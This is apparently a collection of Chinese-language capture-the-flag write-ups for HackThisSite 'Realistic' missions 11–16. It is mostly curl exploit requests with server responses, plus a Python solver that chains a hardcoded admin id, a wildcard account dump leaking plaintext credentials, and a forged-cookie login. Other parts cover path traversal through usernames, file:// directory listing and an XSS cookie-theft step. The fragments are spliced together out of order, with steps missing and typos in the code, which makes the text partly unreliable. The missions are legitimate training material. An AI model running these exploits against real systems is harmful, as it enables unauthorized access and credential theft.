One of your best friends has reason to believe that his girlfriend
has been cheating on him. He thinks that she's been sending emails back
and forth with this other guy, but he has no for sure proof. Now it's
your turn to show him what a valuable friend you are!
目标是进 Simple Mail 的管理后台,读到
jenn@simplemail.com 的邮件。站点是
https://www.hackthissite.org/missions/realistic/16/,菜单里只有
Register / Login / Search / User Panel 这些常规模块。
Solution
Recon:
首页源码里有一栏菜单被 HTML
注释掉:index.php?module=admin_login(Admin
Login),是隐藏入口。
首页新闻有一条 "Registration Error":"we were having a problem
with people registering who tried to use special characters in their
name... it might take up to a week to fix. For now, we suggest sticking
to just letters and numbers in your email address." ——
等于明说用户名没做过滤,特殊字符能进名字。
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/index.php?module=reg_success" Logged in as: ..@simplemail.com Warning: Unable to create email address "..@simplemail.com" on line 56 Notice: Username as created, however, the email address had problems registering with the system. Registration was a success. You may procede to login.
邮箱没建成(..
不是合法邮箱),但用户目录/配置路径已经建好了。users/../config.txt
正好落在站点根目录,也就是管理员 Flash 读取的那个
config.txt。注册这一步就已经把它覆盖了,注册前 vs
注册后:
$ curl -s -i -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/admin.php?auth=true&id=63a4bf12cd" <b>Debug Mode Enabled:</b> <br /><b>Server Error:</b> The return from the auth page listed in config.txt is not consistant with the authorization given by login.swf. The error has been logged.
onClipEvent(load){ function __f_click(eventObj) { _root.toplabel.text = "Check email script currently disabled for user privacy"; } this.addEventListener("click",__f_click); }
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com" <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>Unauthorized Entry</title> </head><body> <h1>Unauthorized Entry Attempt</h1> <p>You have incorrectly attempted to login to administrative area using an incorrect username and or password. This attempt has been logged.</p> </body></html>
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/16/check_email.php?auth=true&id=63a4bf12cd&email=jenn%40simplemail.com" \ -w '\n[HTTP %{http_code} size=%{size_download}]\n' <center><div style="width:80%"><div class="dark-td"><h2>Mission 16</h2></div><div class="light-td">Mission 16 Accomplished! (Turns out the guy she was talking to was her brother)<br /></div></div></center> [HTTP 200 size=14509]
secuLas Ltd. is an industry leader in defense and special mission
lasers. Somewhere behind the glossy corporate site there is a leaked
backup and an internal area; get access to the "latest patents and
developments" section and prove the credentials can be bypassed.
$ unzip -o decrypted.zip -d decrypted $ find decrypted -type f decrypted/internal_messages/msgshow.php decrypted/internal_messages/msgauth.php decrypted/misc (files from different folders)/index.htm decrypted/misc (files from different folders)/shell.php
<title>MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</title> </head> <h1>Access denied</h1> a warning message with your user agent string<br /><b><ua></b><br /> has been sent to the administrator <hr> <em>modified MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</em>
运行身份 wwwrun,初始 cwd
/srv/www/htdocs/admin_area/。这个 MyShell
是个被裁剪过的版本:只放行
ls,且参数必须以 - 开头(纯
flag)。带别的东西一律回
Heh I can't really let you mess around with my server!。
1 2 3 4 5 6 7 8 9 10 11
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \ -e ".../admin_area/shell.php" --data-urlencode "command=ls -la" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" drwxr-xr-x 2 root root 4096 Dec 4 20:23 . drwxr-xr-x 2 root root 4096 Dec 4 21:23 .. drwxr-xr-x 2 root root 4096 Dec 3 17:14 helpdesk drwxr-xr-x 2 root root 4096 Dec 4 20:32 mypr0n -r-xr-xr-x 1 root users 6491 Dec 4 20:01 shell.php drwxr-xr-x 2 root root 4096 Dec 4 21:23 test -r-xr-xr-x 1 root users 1608 Dec 3 12:19 viewpatents.php -rw-r--r-- 1 root root 390 Dec 4 21:21 viewpatents2.php
[ls ] helpdesk/ mypr0n/ shell.php test/ viewpatents.php viewpatents2.php [ls -la ] <完整长列表,见上> [pwd ] Heh \n I can't really let you mess around with my server! [ls / ] Heh \n I can't really let you mess around with my server! [ls -la test] Heh \n I can't really let you mess around with my server! [cat viewpatents2.php] Heh \n I can't really let you mess around with my server!
charcheckit(char* username, char* password, char* hash) { char is_pass_correct = 'N'; /* initialize to NO */ char *fillstring = "_T*4$n"; /* Use this string to make a */ /* less than 4chars password */ /* longer */ char concatenated[200]; strcpy(concatenated, username);
/* if a password is less than 4 chars long, */ /* add some extra characters */ if (strlen(password) < 4) strcat(concatenated, fillstring);
strcat(concatenated, password);
if (strcmp(mymd5(concatenated), hash) == 0) is_pass_correct = 'Y';
被裁剪的 shell 不是安全边界:MyShell 只放行
ls
属于"限制命令"而非"消除权限",只要还有一个可写入口(viewpatents2.php)能触达有漏洞的原生程序,限制
shell 就形同虚设。
修复方向:备份目录移出 Web 根、关闭目录索引;不要用 ZIP
传统加密存放源码,改用发布产物 +
强加密;认证比较用常量时间函数并在校验前完成,绝不把内部常量通过变量插值回显;文件读取用固定资源
id 映射,禁止把用户输入当路径或正则;原生校验程序用
strncpy/长度检查并独立存布尔结果,别让缓冲区与结果相邻。
$ curl -s -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/14/moderator.cgi" \ -d 'action=view&id=isadmin&account=*' \ "https://www.hackthissite.org/missions/realistic/14/moderator.cgi" <b>Admin Account</b><br>username: webguy<br> password: reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack<br> Sha1 hash: 861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05<br> email address: webguy@yuppers.nod<br> first name: Bob<br> middle name: Underwood<br> last name: Yuppers<br> month of birth: Male<br> day of birth: Unmarried<br> year of birth: September<br> gender: 24<br> marital status: 1973<br> country: United States<br> state: Idaho<br> city: Boise<br> address: 9451 Poplar Road<br> phone number: 539-124-5155<br> occupation: webmaster<br> income: 8650000<br> dependents: 0<br> first interest/hobby: programming<br> second interest/hobby: eating out<br> third interest/hobby: fund raising for Republicans<br> fourth interest/hobby: making TV ads<br> fifth interest/hobby: encryption<br> about: Hello, I am Bob Underwood Yuppers, and I am the CEO and founded Yuppers Internet Solutions.<br>
拿到明文密码
reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack
和它的 SHA1
861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05。account
字段的解析是对原始 POST body 做字符串匹配的:把 body 做标准
form-urlencode 会把 * 编成
%2A,服务端不认,返回
That user doesn't exist.——所以 *
必须以裸字符发出(脚本里用原始 body 而非 dict 就是这个原因)。
$ curl -s -b "HackThisSite=<mission-cookie>; yuppers_user=webguy; \ yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; admin_login=2067123" \ -e "https://www.hackthissite.org/missions/realistic/14/webpermit/login.cgi" \ "https://www.hackthissite.org/missions/realistic/14/administrator.cgi" You shuffle through the admin panel and see that every action is monitored and sold to advertisers. You clear out the logs and post the entire source to the main page, and of course...<br><br> <iframe src="webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986" style="border: 0px #ffffff outset; width:80%; height:50%;"></iframe>
#!/usr/bin/env python """HackThisSite Realistic Mission 14 (Yuppers Internet Solutions) solver. Chain: moderator.cgi credential-less login (id=isadmin) -> wildcard account dump -> Web Permit login -> administrator.cgi -> mission-accomplished.php. Notes: - The null-byte source read (news.cgi?story=moderator.cgi%00) does not truncate on the live node: Perl rejects an embedded NUL in open(), so the CGI reports "Failed to load moderator.cgi\\0.news". The hardcoded moderator id is supplied directly instead. - POST bodies are sent raw (not form-encoded): moderator.cgi matches on the literal "account=*" token, so "%2A" would miss the wildcard. """ import os import re
import requests
BASE = "https://www.hackthissite.org/missions/realistic/14" UA = ( "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" ) FORM = "application/x-www-form-urlencoded"
s = requests.Session() s.headers["User-Agent"] = UA s.cookies.set(_name, _value, domain="www.hackthissite.org", path="/")
defmain() -> None: # Step 1: null-byte source read (no truncation on the live node) r = s.get(f"{BASE}/news.cgi", params={"story": "moderator.cgi\x00"}, timeout=30) tail = r.text.split("</form>")[-1] print("[1] story=moderator.cgi%00 ->", tail[:40].replace("\x00", "<NUL>"))
# Step 2: moderator login; "isadmin" is the hardcoded magic id r = s.post( f"{BASE}/moderator.cgi", data="action=login&id=isadmin", headers={"Referer": f"{BASE}/news.cgi", "Content-Type": FORM}, timeout=30, ) print("[2] moderator panel:", "View Account Info"in r.text)
# Step 3: wildcard account lookup leaks the admin record r = s.post( f"{BASE}/moderator.cgi", data="action=view&id=isadmin&account=*", headers={"Referer": f"{BASE}/moderator.cgi", "Content-Type": FORM}, timeout=30, ) user = re.search(r"username: (\w+)", r.text).group(1) pw = re.search(r"password: ([^<\s]+)", r.text).group(1) print("[3] leaked admin creds:", user, "/", pw)
# Step 4: Web Permit login; the server replies with yuppers_* cookies r = s.post( f"{BASE}/webpermit/login.cgi", data="yuppers_user=%s&yuppers_pass=%s" % (user, pw), headers={"Referer": f"{BASE}/login.html", "Content-Type": FORM}, timeout=30, ) print("[4] web permit logged in:", "Logged in as"in r.text)
# Step 5: administrator panel now resolves and returns the completion iframe r = s.get( f"{BASE}/administrator.cgi", headers={"Referer": f"{BASE}/webpermit/login.cgi"}, timeout=30, ) m = re.search(r'src="([^"]*mission-accomplished\.php[^"]*)"', r.text) print("[5] completion iframe:", m.group(1) if m else"NOT FOUND")
if __name__ == "__main__": main()
实际运行输出(HTS_COOKIE
通过环境变量注入,不落盘):
1 2 3 4 5 6 7
$ cd ~/ctf/workspace && HTS_COOKIE="HackThisSite=<mission-cookie>" \ uv run python challenges/hackthissite-realistic-14/solve.py [1] story=moderator.cgi%00 -> Failed to load moderator.cgi<NUL>.news<table [2] moderator panel: True [3] leaked admin creds: webguy / reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack [4] web permit logged in: True [5] completion iframe: webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986
Elbonia's Elections are coming! Help delay these elections by taking
down the main competitor's site! Be careful though, you get caught,
you'll be wishing you had your soap on a rope...
先看讲稿分支。speeches.php 的下拉只有
value="1",speech=1 返回
This speech is still being edited, as it had many errors because of our ex-typist;把值换成一个不存在的讲稿名,include()
失败,warning 里带着服务端绝对路径:
Warning [2] include(C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php): failed to open stream: No such file or directory Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning [2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\oldsite\speches.php' for inclusion (include_path='.:/usr/local/share/pear') Error on line 18 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning [2] include(C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php): failed to open stream: No such file or directory Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning [2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\21232f297a57a5a743894a0e4a801fc3\speches.php' for inclusion (include_path='.:/usr/local/share/pear') Error on line 24 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning [2] include(C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php): failed to open stream: No such file or directory Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
Warning [2] include(): Failed opening 'C:\Program Files\Apache Group\Apache2\ENRP\admin\passes.php' for inclusion (include_path='.:/usr/local/share/pear') Error on line 25 in /www/hackthissite.org/www/missions/realistic/13/speeches2.php
手上有 moni1:admin
之后,直觉会去找后台。/missions/realistic/13/admin/
确实存在一个登录页,但用这组凭据会被拒——HTS 官方关卡文章与公开 writeup
都记录了错误文案
"admin" does not match password for "moni1"。它是个诱饵:用户名口令都对,但页面不是真的。
$ curl -s -m 15 -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/13/admin/passes.php" Passes need to be reset: send correct HTTP_REFERER to gain access here
Schools are supposed to prepare students for the outside world, but
how can they do this if students are kept from everything by
overly-protective administrators? Clear the blocked site list and help
fight censorship in public schools.
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/" <html><head><title>Index of file://c:/</title></head><body><h1>Index of file:///c:/</h1><hr/><table>... AUTOEXEC.BAT ... COMMAND.COM ... CONFIG.SYS ... Program Files ... WINDOWS ... WEB ...
Step 2: 目录枚举,摸清黑名单
1 2 3 4 5 6 7
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/" Index of file:///c:/web : HTML/ Perl/ cgi-bin/ HTTP.EXE
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/12/cgi-bin/page.pl?file:///C:/WEB/cgi-bin/" <html><head><title>Blocked</title></head><body ...>This Page is Blocked ... Heartland Technology Department
The login response sets the employee cookies. The employee page
exposes a Private Message link and Pay Salaries link, but the latter
requires administrator privileges.
2. Use the simulated XSS step
Send a JavaScript payload to m-crap through Private
Messages. The challenge explicitly supplies the simulated administrator
cookie afterward:
Replace the three challenge cookies with these values. Then open
payday.php and submit the Pay form. The server displayed
the employee's thank-you message and marked the payment transaction
complete.